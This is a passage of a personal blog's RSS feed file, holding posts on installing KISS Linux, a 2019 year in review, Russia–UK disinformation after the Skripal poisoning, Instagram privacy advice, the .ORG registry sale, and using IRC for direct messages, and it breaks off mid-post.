pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every
15have any classes (again, so far), and I’ve a ton of free time on my
16hands. This calls for—yep—a distro hop! </p>
17
18<h2 id="why-kiss">Why KISS?</h2>
19
20<p><a href="https://getkiss.org">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref-hn"><a href="#fn-hn">1</a></sup>
21The Hacker News post spurred <em>quite</em> the discussion. But then again,
22that is to be expected from Valleybros who use macOS all day. :^)</p>
23
24<p>From the website,</p>
25
26<blockquote>
27 <p>An independent Linux® distribution with a focus on simplicity and the
28 concept of “less is more”. The distribution targets <em>only</em> the x86-64
29 architecture and the English language.</p>
30</blockquote>
31
32<p>Like many people did in the HN thread, “simplicity” here is not to be
33confused with “ease”. It is instead, simplicity in terms of lesser and
34cleaner code—no
35<a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p>
36
37<p>This, I can get behind. A clean system with less code is like a clean
38table. It’s nice to work on. It also implies security to a certain
39extent since there’s a smaller attack surface. </p>
40
41<p>The <a href="https://github.com/kisslinux/kiss"><code>kiss</code></a> package manager is written
42is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
43source and <code>kiss</code> automatically performs dependency resolution. Creating
44packages is ridiculously easy too.</p>
45
46<p>Speaking of packages, all packages—both official & community
47repos—are run through <code>shellcheck</code> before getting merged. This is
48awesome; I don’t think this is done in any other distro.</p>
49
50<p>In essence, KISS sucks less.</p>
51
52<h2 id="installing-kiss">Installing KISS</h2>
53
54<p>The <a href="https://getkiss.org/pages/install">install guide</a> is very easy to
55follow. Clear instructions that make it hard to screw up; that didn’t
56stop me from doing so, however.</p>
57
58<h3 id="day-1">Day 1</h3>
59
60<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
61system—I’ll count it. I’d compiled the kernel in the chroot and
62decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
63to modify the Intel Extensible Firmware Interface (EFI). Essentially,
64you boot the <code>.efi</code> directly as opposed to choosing which boot entry
65you want to boot, through GRUB. Useful if you have just one OS on the
66system. Removes one layer of abstraction.</p>
67
68<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>
69
70<pre><code>efibootmgr --create
71 --disk /dev/nvme0n1 \
72 --part 1 \
73 --label KISS Linux \
74 --loader /vmlinuz
75 --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters
76</code></pre>
77
78<p>Mind you, this didn’t work the first time, or the second, or the
79third … a bunch of trial and error (and asking on <code>#kisslinux</code>)
80later, it worked.</p>
81
82<p>Well, it booted, but not into KISS. Took a while to figure out that the
83culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
84config. Rebuild & reboot later, I was in.</p>
85
86<h3 id="day-2">Day 2</h3>
87
88<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
89(ethernet) and wireless don’t work. Great. Dug around a bit—missing
90wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
91Intel (eugh!). The whole day was spent in figuring out why the kernel
92would never load the firmware. I tried different variations—loading
93it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>
94
95<h3 id="day-3">Day 3</h3>
96
97<p>I then tried Alpine’s kernel config but that was so huge and had a <em>ton</em>
98of modules and took far too long to build each time, much to my
99annoyance. Diffing their config and mine was about ~3000 lines! Too much
100to sift through. On a whim, I decided to scrap my entire KISS install
101and start afresh. </p>
102
103<p>For some odd reason, after doing the <em>exact</em> same things I’d done
104earlier, my wireless worked this time. Ethernet didn’t, and still
105doesn’t, but that’s ok.</p>
106
107<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
108to spotty internet. The build went through fine, though what wasn’t was
109no input after starting X. Adding my user to the <code>input</code> group wasn’t
110enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
111Installing that gave me my mouse back, but not the keyboard!</p>
112
113<p>It was definitely not the kernel this time, because I had a working
114keyboard in the TTY. </p>
115
116<h3 id="day-4-day-5">Day 4 & Day 5</h3>
117
118<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
119By this point I had exhausted all ideas, so I decided to build my
120essential packages and setup my system. Building Firefox took nearly
1219 hours, the other stuff were much faster.</p>
122
123<p>I was still chatting on IRC during this, trying to zero down on what the
124problem could be. And then:</p>
125
126<pre><code><dylanaraps> For starters I think st fails due to no fonts.
127</code></pre>
128
129<p>Holy shit! Fonts. I hadn’t installed <em>any</em> fonts. Which is why none of
130the applications I tried launching via <code>sowm</code> ever launched, and hence,
131I was lead to believe my keyboard was dead.</p>
132
133<h2 id="worth-it">Worth it?</h2>
134
135<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
136was. Also a test of my patience and perseverance, but yeah ok. I also
137think that this distro is my endgame (yeah, right), probably because
138other distros will be nothing short of disappointing, in one way or
139another.</p>
140
141<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
142througout. And I mean, they <em>really</em> did. We chatted for hours on end
143trying to debug my issues.</p>
144
145<p>I’ll now conclude with an obligatory screenshot.</p>
146
147<p><img src="https://x.icyphox.sh/R6G.png" alt="scrot" /></p>
148
149<div class="footnotes">
150<hr />
151<ol>
152<li id="fn-hn">
153<p><a href="https://news.ycombinator.com/item?id=21021396">https://news.ycombinator.com/item?id=21021396</a> <a href="#fnref-hn" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
154</li>
155</ol>
156</div>
157]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
158A little late to the “year in review blog post” party; travel took up
159most of my time. Last year was pretty eventful (at least in my books),
160and I think I did a bunch of cool stuff—let’s see!</p>
161
162<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>
163
164<p>Last summer, I interned at <a href="https://securelayer7.net">SecureLayer7</a>,
165a security consulting firm in Pune, India. My work was mostly in
166hardware and embededded security research. I learnt a ton about ARM and
167MIPS reversing and exploitation, UART and JTAG, firmware RE and
168enterprise IoT security.</p>
169
170<p>I also earned my first CVE! I’ve written about it in detail
171<a href="/blog/fb50">here</a>.</p>
172
173<h2 id="conferences">Conferences</h2>
174
175<p>I attended two major conferences last year—Nullcon Goa and PyCon
176India. Both super fun experiences and I met a ton of cool people!
177<a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a>
178and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>
179
180<h2 id="talks">Talks</h2>
181
182<p>I gave two talks last year:</p>
183
184<ol>
185<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
186<li><em>"Smart lock? Nah dude."</em> at PyCon India</li>
187</ol>
188
189<h2 id="things-i-made">Things I made</h2>
190
191<p>Not in order, because I CBA:</p>
192
193<ul>
194<li><a href="https://github.com/icyphox/repl">repl</a>: More of a quick bash hack,
195I don’t really use it.</li>
196<li><a href="https://github.com/icyphox/pw">pw</a>: A password manager. This,
197I actually do use. I’ve even written a tiny
198<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh"><code>dmenu</code> wrapper</a>
199for it. </li>
200<li><a href="https://github.com/icyphox/twsh">twsh</a>: An incomplete twtxt client,
201in bash. I have yet to get around to finishing it.</li>
202<li><a href="https://github.com/icyphox/alpine">alpine ports</a>: My APKBUILDs for
203Alpine.</li>
204<li><a href="https://github.com/icyphox/detotated">detotated</a>: An IRC bot written
205in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
206<li><a href="https://github.com/icyphox/icyrc">icyrc</a>: A no bullshit IRC client,
207because WeeChat is bloat.</li>
208</ul>
209
210<p>I probably missed something, but whatever.</p>
211
212<h2 id="blog-posts">Blog posts</h2>
213
214<pre><code>$ ls -1 pages/blog/*.md | wc -l
21520
216</code></pre>
217
218<p>So excluding today’s post, and <code>_index.md</code>, that’s 18 posts! I had
219initially planned to write one post a month, but hey, this is great. My
220plan for 2020 is to write one post a <em>week</em>—unrealistic, I know, but
221I will try nevertheless.</p>
222
223<p>I wrote about a bunch of things, ranging from programming to
224return-oriented-programming (heh), sysadmin and security stuff, and
225a hint of culture and philosophy. Nice!</p>
226
227<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
228a ton of attention on the interwebz, so that was cool.</p>
229
230<h2 id="bye-2019">Bye 2019</h2>
231
232<p>2019 was super productive! (in my terms). I learnt a lot of new things
233last year, and I can only hope to learn as much in 2020. :)</p>
234
235<p>I’ll see you next week.</p>
236]]></description><link>https://icyphox.sh/blog/2019-in-review</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-in-review</guid></item><item><title>Disinfo war: RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
237Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
238the UK’s intelligence services. This hit attempt happened on the 4th of
239March, 2018. 8 days later, then-Prime Minister Theresa May formally
240accused Russia for the attack.</p>
241
242<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
243In addition to the British military-research facility at Porton Down,
244a small number of labs around the world were tasked with confirming
245Porton Down’s conclusions on the toxin that was used, by the OPCW
246(Organisation for the Prohibition of Chemical Weapons).</p>
247
248<p>With the background on the matter out of the way, here are the different
249instances of well timed disinformation pushed out by Moscow.</p>
250
251<h2 id="the-russian-offense">The Russian offense</h2>
252
253<h3 id="april-14-2018">April 14, 2018</h3>
254
255<ul>
256<li>RT published an article claiming that Spiez had identified a different
257toxin—BZ, and not Novichok.</li>
258<li>This was an attempt to shift the blame from Russia (origin of Novichok),
259to NATO countries, where it was apparently in use.</li>
260<li>Most viral piece on the matter in all of 2018.</li>
261</ul>
262
263<p>Although technically correct, this isn’t the entire truth. As part of
264protocol, the OPCW added a new substance to the sample as a test. If any
265of the labs failed to identify this substance, their findings were
266deemed untrustworthy. This toxin was a derivative of BZ.</p>
267
268<p>Here are a few interesting things to note:</p>
269
270<ol>
271<li>The entire process starting with the OPCW and the labs is top-secret.
272How did Russia even know Speiz was one of the labs?</li>
273<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
274Down’s findings. Note that Russia is a part of OPCW, and are fully
275aware of the quality control measures in place. Surely they knew
276about the reason for BZ’s use?</li>
277</ol>
278
279<p>Regardless, the Russian version of the story spread fast. They cashed in
280on two major factors to plant this disinfo:</p>
281
282<ol>
283<li>“NATO bad” : Overused, but surprisingly works. People love a story
284that goes full 180°.</li>
285<li>Spiez can’t defend itself: At the risk of revealing that it was one
286of the facilities testing the toxin, Spiez was only able to “not
287comment”.</li>
288</ol>
289
290<h3 id="april-3-2018">April 3, 2018</h3>
291
292<ul>
293<li>The Independent publishes a story based on an interview with the chief
294executive of Porton Down, Gary Aitkenhead.</li>
295<li>Aitkenhead says they’ve identified Novichok but “have not identified
296the precise source”.</li>
297<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
298Porton Down confirmed the origin of the toxin to be Russia.</li>
299<li>This discrepancy was immediately promoted by Moscow, and its network
300all over.</li>
301</ul>
302
303<p>This one is especially interesting because of how <em>simple</em> it is to
304exploit a small contradiction, that could’ve been an honest mistake.
305This episode is also interesting because the British actually attempted
306damage control this time. Porton Down tried to clarify Aitkenhead’s
307statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>
308
309<blockquote>
310 <p>Our experts have precisely identified the nerve agent as a Novichok.
311 It is not, and has never been, our responsibility to confirm the source
312 of the agent @skynews @UKmoments</p>
313</blockquote>
314
315<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a>
316article on the matter:</p>
317
318<blockquote>
319 <p>The episode is seen by those inside Britain’s security communications team
320 as the most serious misstep of the crisis, which for a period caused real
321 concern. U.K. officials told me that, in hindsight, Aikenhead could never
322 have blamed Russia directly, because that was not his job—all he was
323 qualified to do was identify the chemical. Johnson, in going too far,
324 was more damaging. Two years on, he is now prime minister.</p>
325</blockquote>
326
327<h3 id="may-2018">May 2018</h3>
328
329<ul>
330<li>OPCW facilities receive an email from Spiez inviting them to
331a conference.</li>
332<li>The conference itself is real, and has been organized before.</li>
333<li>The email however, was not—attached was a Word document containing
334malware.</li>
335<li>Also seen were inconsistencies in the email formatting, from what was
336normal.</li>
337</ul>
338
339<p>This spearphishing campaign was never offically attributed to Moscow,
340but there are a lot of tells here that point to it being the work of
341a state actor:</p>
342
343<ol>
344<li>Attack targetting a specific group of individuals.</li>
345<li>Relatively high level of sophistication—email formatting,
346malicious Word doc, etc.</li>
347</ol>
348
349<p>However, the British NCSC have deemed with “high confidence” that the
350attack was perpetrated by GRU. In the UK intelligence parlance, “highly
351likely” / “high confidence” usually means “definitely”.</p>
352
353<h2 id="britains-defense">Britain’s defense</h2>
354
355<h3 id="september-5-2018">September 5, 2018</h3>
356
357<p>The UK took a lot of hits in 2018, but they eventually came back:</p>
358
359<ul>
360<li>Metropolitan Police has a meeting with the press, releasing their
361findings.</li>
362<li>CCTV footage showing the two Russian hitmen was released.</li>
363<li>Traces of Novichok identified in their hotel room.</li>
364</ul>
365
366<p>This sudden news explosion from Britan’s side completely
367bulldozed the information space pertaining to the entire event.
368According to Defense One:</p>
369
370<blockquote>
371 <p>Only two of the 10 most viral stories in the weeks following the announcement
372 were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
373 it felt as though the U.K. was the aggressor. “This was all kept secret to
374 put the Russians on the hop,” one told me. “Their response was all over the
375 place from this point. It was the turning point.”</p>
376</blockquote>
377
378<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
379were there to execute a cyber operation against the OPCW (located in The
380Hague), via their WiFi networks. They were arrested by Dutch security,
381and later identifed as belonging to Unit 26165. They also seized a bunch
382of equipment from the room and their car.</p>
383
384<blockquote>
385 <p>The abandoned equipment revealed that the GRU unit involved had sent
386 officers around the world to conduct similar cyberattacks. They had
387 been in Malaysia trying to steal information about the investigation
388 into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
389 Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
390 place as Russia faced sanctions from the International Olympic Committee.
391 Britain has said that the same GRU unit attempted to compromise Foreign
392 Office and Porton Down computer systems after the Skripal poisoning.</p>
393</blockquote>
394
395<h3 id="october-4-2018">October 4, 2018</h3>
396
397<p>UK made the arrests public, published a list of infractions commited by
398Russia, along with the specific GRU unit that was caught.</p>
399
400<p>During this period, just one of the top 25 viral stories was from
401a pro-Russian outlet, RT—that too a fairly straightforward piece.</p>
402
403<h2 id="wrapping-up">Wrapping up</h2>
404
405<p>As with conventional warfare, it’s hard to determine who won. Britain
406may have had the last blow, but Moscow—yet again—depicted their
407finesse in information warfare. Their ability to seize unexpected
408openings, gather intel to facilitate their disinformation campaigns, and
409their cyber capabilities makes them a formidable threat. </p>
410
411<p>2020 will be fun, to say the least.</p>
412
413<div class="footnotes">
414<hr />
415<ol>
416<li id="fn-skripal">
417<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
418</li>
419
420<li id="fn-dstltweet">
421<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a> <a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
422</li>
423</ol>
424</div>
425]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
426compelled to write this post. Using a social platform like Instagram
427automatically implies that the user understands (to some level) that
428their personally identifiable information is exposed publicly, and they
429sign up for the service understanding this risk—or I think they do,
430anyway. But that’s about it, they go ham after that. Sharing every nitty
431gritty detail of their private lives without understanding the potential
432risks of doing so.</p>
433
434<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
435Instgrammers are <em>obviously</em> incapable of doing that—so I’ll do it
436for them. </p>
437
438<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
439
440<p>I stress on the word “average”, as in this doesn’t apply to those with
441more than a couple thousand followers. Those type of accounts inherently
442face different kinds of threats—those that come with having
443a celebrity status, and are not in scope of this analysis.</p>
444
445<ul>
446<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
447since our target demographic is simply not important enough. That said,
448there are select groups of individuals that operate on
449Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
450actor.</p></li>
451<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
452of the amount of visual information shared on the platform. A lot can be
453gleaned from one simple picture in a nondescript alleyway. We’ll get
454into this in the DOs and DON’Ts in a bit.</p></li>
455<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
456illegal, because well, it’s logged and more importantly—not
457end-to-end encrypted. Law enforcement can subpoena any and all account
458information. Quoting Instagram’s
459<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
460</ul>
461
462<blockquote>
463 <p>a search warrant issued under the procedures described in the Federal
464 Rules of Criminal Procedure or equivalent state warrant procedures
465 upon a showing of probable cause is required to compel the disclosure
466 of the stored contents of any account, which may include messages,
467 photos, comments, and location information.</p>
468</blockquote>
469
470<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
471while posting on Instagram.</p>
472
473<h3 id="donts">DON’Ts</h3>
474
475<ul>
476<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
477explained why this is a terrible idea above. Use secure comms—even
478WhatsApp is a better choice, if you have nothing else. In fact, try
479avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
480<li><p>Film live videos outside. Or try not to, if you can. You might
481unknowingly include information about your location: street signs,
482shops etc. These can be used to ascertain your current location.</p></li>
483<li><p>Film live videos in places you visit often. This compromises your
484security at places you’re bound to be at.</p></li>
485<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
486Summer/winter break? “Look guys, I’m going home! Here’s where I live,
487and here’s my flight number—feel free to track me!”. This scenario is
488especially worrisome because the start and end points are known to the
489threat actor, and your arrival time can be trivially looked up—thanks
490to the flight number on your ticket. So, just don’t.</p></li>
491<li><p>Post screenshots with OS specific details. This might border on
492pendantic, but better safe than sorry. Your phone’s statusbar and navbar
493are better cropped out of pictures. They reveal the time, notifications
494(apps that you use), and can be used to identify your phone’s operating
495system. Besides, the status/nav bar isn’t very useful to your screenshot
496anyway.</p></li>
497<li><p>Share your voice. In general, reduce your footprint on the platform
498that can be used to identify you elsewhere.</p></li>
499<li><p>Think you’re safe if your account is set to private. It doesn’t take
500much to get someone who follows you, to show show your profile on their
501device.</p></li>
502</ul>
503
504<h3 id="dos">DOs</h3>
505
506<ul>
507<li><p>Post pictures that pertain to a specific location, once you’ve moved
508out of the location. Also applies to stories. It can wait.</p></li>
509<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
510Who woulda thunk I’d advocate bathroom selfies?</p></li>
511<li><p>Delete old posts that are irrelevant to your current audience. Your
512friends at work don’t need to know about where you went to high school.</p></li>
513</ul>
514
515<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
516that are good OPSEC practices in general:</p>
517
518<ul>
519<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
520<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
521online, from what you do IRL. Limit information exposure.</li>
522<li><strong>Assess your risks</strong>: Do this often. People change, your environments
523change, and consequentially the risks do too.</li>
524</ul>
525
526<h2 id="fin">Fin</h2>
527
528<p>Instagram is—much to my dismay—far too popular for it to die any
529time soon. There are plenty of good reasons to stop using the platform
530altogether (hint: Facebook), but that’s a discussion for another day.</p>
531
532<p>Or be like me:</p>
533
534<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
535
536<p>And that pretty much wraps it up, with a neat little bow.</p>
537
538<div class="footnotes">
539<hr />
540<ol>
541<li id="fn-ddepisode">
542<p><a href="https://darknetdiaries.com/episode/51/—Jack">https://darknetdiaries.com/episode/51/—Jack</a> talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
543</li>
544</ol>
545</div>
546]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
547<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
5482003. The .ORG TLD is used primarily by communities, free and open source projects,
549and other non-profit organizations—although the use of the TLD isn’t
550restricted to non-profits.</p>
551
552<p>The Internet Society or ISOC, the group that created the PIR, has
553decided to sell the registry over to a private equity firm—Ethos
554Capital.</p>
555
556<h2 id="whats-the-problem">What’s the problem?</h2>
557
558<p>There are around 10 million .ORG TLDs registered, and a good portion of
559them are non-profits and non-governmental organizations. As the name
560suggests, they don’t earn any profits and all their operations rely on
561a thin inflow of donations. A private firm having control of the .ORG
562domain gives them the power to make decisions that would be unfavourable
563to the .ORG community:</p>
564
565<ul>
566<li><p>They control the registration/renewal fees of the TLD. They can
567hike the price if they wish to. As is stands, NGOs already earn very
568little—a .ORG price hike would put them in a very icky situation.</p></li>
569<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
570Mechanisms</a>
571or RPMs, which are essentially legal statements that can—if not
572correctly developed—jeopardize / censor completely legal non-profit
573activities.</p></li>
574<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
575news that nation states go after NGOs, targetting them with allegations
576of illegal activity. The registry being a private firm only simplifies
577the process.</p></li>
578</ul>
579
580<p>Sure, these are just “what ifs” and speculations, but the risk is real.
581Such power can be abused and this would be severly detrimental to NGOs
582globally.</p>
583
584<h2 id="how-can-i-help">How can I help?</h2>
585
586<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
587<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
588behalf to:</p>
589
590<ul>
591<li>Andrew Sullivan, CEO, ISOC</li>
592<li>Jon Nevett, CEO, PIR</li>
593<li>Maarten Botterman, Board Chair, ICANN</li>
594<li>Göran Marby, CEO, ICANN</li>
595</ul>
596
597<h2 id="closing-thoughts">Closing thoughts</h2>
598
599<p>The Internet that we all love and care for is slowly being subsumed by
600megacorps and private firms, who’s only motive is to make a profit. The
601Internet was meant to be free, and we’d better act now if we want that
602freedom. The future looks bleak—I hope we aren’t too late.</p>
603]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
604exams. I get all these cool ideas for things to do, and it’s always
605during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
606
607<h2 id="blog-post-queue">Blog post queue</h2>
608
609<p>I realized that I could use this site’s
610<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
611I’ve made a few, mostly just porting them over from my Google Keep note.</p>
612
613<p>This method of using issues is great, because readers can chime in with
614ideas for things I could possibly discuss—like in <a href="https://github.com/icyphox/site/issues/10">this
615issue</a>.</p>
616
617<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
618
619<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
620– is awfully slow. Also, Python is bloat.
621Will rewriting it fix that? That’s what I plan to find out. I have
622a couple of choices of languages to use in the rewrite:</p>
623
624<ul>
625<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
626<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
627<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
628(<code>shite</code>?)</li>
629</ul>
630
631<p>Oh, and did I mention—I want it to be compatible with <code>vite</code>.
632I don’t want to have to redo my site structure or its templates. At the
633moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
634
635<h2 id="irc-bot">IRC bot</h2>
636
637<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
638traction, which was pretty cool. I didn’t really talk much about the bot
639itself though; I’m dedicating this section to
640<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
641
642<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
643basic features in place:</p>
644
645<ul>
646<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
647track</li>
648<li>Fetches the URL title, when a URL is sent in chat</li>
649</ul>
650
651<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
652command, since we share Spotify links pretty often.</p>
653
654<h2 id="other">Other</h2>
655
656<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
657log</a> when I, well… get around to it. Haven’t had time to do
658much in the past few weeks—the time at the end of a semester tends to
659get pretty tight. Here’s what I plan to get back to during this winter break:</p>
660
661<ul>
662<li>Russian!</li>
663<li>Window manager in Nim</li>
664<li><code>vite</code> rewrite, probably</li>
665<li>The other blog posts in queue</li>
666</ul>
667
668<p>I’ve also put off doing any “security work” for a while now, perhaps
669that’ll change this December. Or whenever.</p>
670
671<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
672
673<div class="footnotes">
674<hr />
675<ol>
676<li id="fn-1">
677<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
678</li>
679</ol>
680</div>
681]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
682daily communications, as opposed to non-free alternatives like WhatsApp
683or Telegram. This is an account of how that went.</p>
684
685<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
686
687<p>I’ve tried a <em>ton</em> of messaging applications—Signal, WhatsApp,
688Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
689
690<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
691centralized architecture, and OWS’s refusal to federate.</p>
692
693<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
694thought. The sole reason I have it installed is for University’s
695class groups; I can’t wait to graduate.</p>
696
697<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
698got a very nice Android client, though.</p>
699
700<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
701on this because I don’t recall what my experience was like, but I’m not
702using it now… so if that’s indicative of anything.</p>
703
704<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
705Overall, pretty great, but it’s slow. I’ve had messages not send / not
706received a lot of times. Matrix + Riot excels in group communication, but
707really sucks for one-to-one chats.</p>
708
709<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
710
711<p><strong>DeltaChat</strong>: Pretty interesting idea—on paper. Using existing email
712infrastructure for IM sounds great, but it isn’t all that cash in
713practice. Email isn’t instant, there’s always a delay of give or take
7145 to 10 seconds, if not more. This affects the flow of conversation.
715I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
716
717<h2 id="why-irc">Why IRC?</h2>
718
719<p>It’s free, in all senses of the word. A lot of others have done a great
720job of answering this question in further detail, this is by far my
721favourite:</p>
722
723<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
724
725<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
726
727<p>This was the next obvious choice, but personal message buffers don’t
728persist in ZNC and it’s very annoying to have to do a <code>/query
729nerdypepper</code> (Weechat) or to search and message a user via Revolution
730IRC. The only unexplored option—using a channel.</p>
731
732<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
733
734<p>A fairly easy process:</p>
735
736<ul>
737<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
738
739<pre><code>#crimson [+ilnpstz 3]
740</code></pre>
741
742<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
